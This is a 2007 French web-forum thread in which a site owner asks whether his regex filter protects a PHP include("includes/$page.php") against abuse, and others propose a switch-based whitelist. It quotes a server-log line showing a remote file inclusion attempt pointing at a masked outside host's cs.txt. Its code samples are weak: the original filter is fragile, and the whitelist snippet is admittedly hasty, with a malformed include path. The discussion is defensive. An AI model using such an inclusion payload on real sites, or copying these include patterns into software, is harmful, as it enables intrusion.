nicolasdu83 Posté 4 Octobre 2007 Posté 4 Octobre 2007 Bonjour, Sur mon site internet, j'utilise depuis peu un système d'includes pour ouvrir pages de mon site pour une question de rapidité. Toutes mes pages avec uniquement le texte et les images sont dans un dossier includes (inaccessible à tout le monde sauf à 127.0.0.1) et les pages sont ouvertes dans la page rubrique.php?page=bidule qui contient la mise en page. Bien sûr il y a un code PHP (qui n'est pas de moi ) qui empêche que des personnes malveillantes affichent des pages olé olé sur mon site. Le code que j'utilise pour sécuriser mes includes <?php $page = $_GET['page']; $page=preg_replace("/[^a-z0-9_ ]/i", "", $page);if(!@include("includes/$page.php")); ?> Aujourd'hui en allant regarder mes logs (ça faisait longtemps ) je vois ça : *7.1*3.1**.*0 - - [03/Oct/2007:03:56:05 +0200] "GET /rubrique.php?page=http://******/images/cs.txt? HTTP/1.1" 200 4741 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)" Cela m'inquiéte Je voudrais savoir si le code que j'utilise pour empêcher n'importe qui d'inclure n'importe quoi sur mon site est efficace ? Deuxième question qui n'a rien à voir avec la précédente, est-ce que les robots des moteurs de recherche sont comptés dans les visiteurs sur Google Analytics ? Merci. Cordialement,
Dan Posté 4 Octobre 2007 Posté 4 Octobre 2007 Il semble bien que ce ne soit pas efficace, parce que tu ne devrais pas avoir d'URL dedans... ta regex remplace http:// par http et donc la page ne peut pas être trouvée. Je ne comprends par contre pas la ligne suivante, vu que la fonction include() ne retourne aucune valeur: if(!@include("includes/$page.php")); Elle est supposée faire quoi ?
nicolasdu83 Posté 4 Octobre 2007 Auteur Posté 4 Octobre 2007 (modifié) A vrai dire, je ne sais pas à quoi cela sert (j'ai mis ce truc sans savoir ce que c'était ) Si quelqu'un à un autre code pour que ce soit vraiment efficace, je suis preneur cordialement Edit : j'ai trouvé ça http://www.siteduzero.com/tuto-3-1720-1-sy...securisees.html Modifié 4 Octobre 2007 par nicolasdu83
chtipepere Posté 5 Octobre 2007 Posté 5 Octobre 2007 Moi j'utilise un switch, au moins ne sont appelées que les pages que j'ai créé, et pour les autres je redirige vers un 404. En gros : //initialisation des variables$page = $_GET['page'];$erreur404 = false;//on teste les différentes valeurs de pageswitch($page){ //page d'accueil case 'accueil': $page2include = 'accueil.php'; break; //page contact case 'contact': $page2include = 'contact.php'; break; //si $page n'est pas prévu default: $erreur404 = true; break;}//cas où $page n'est pas prévuif($erreur404){ header("HTTP/1.0 404 Not Found"); header("Location: http://www.tonsite.com/tapage404personnalisee.html");}else //sinon on inclut la bonne page include '/includes'.$page2include; Un truc du genre, je l'ai fait vite fait, il se peut qu'il contienne des bugs, mais l'idée est là. Le prinicpe c'est que ton site n'affiche que les pages que tu as prévu, les autres pages que l'on essaiera d'appeler renverront une erreur 404, et ne seront pas indexées par les moteurs. En espérant que ça t'aide.
Sujets conseillés
Veuillez vous connecter pour commenter
Vous pourrez laisser un commentaire après vous êtes connecté.
Connectez-vous maintenant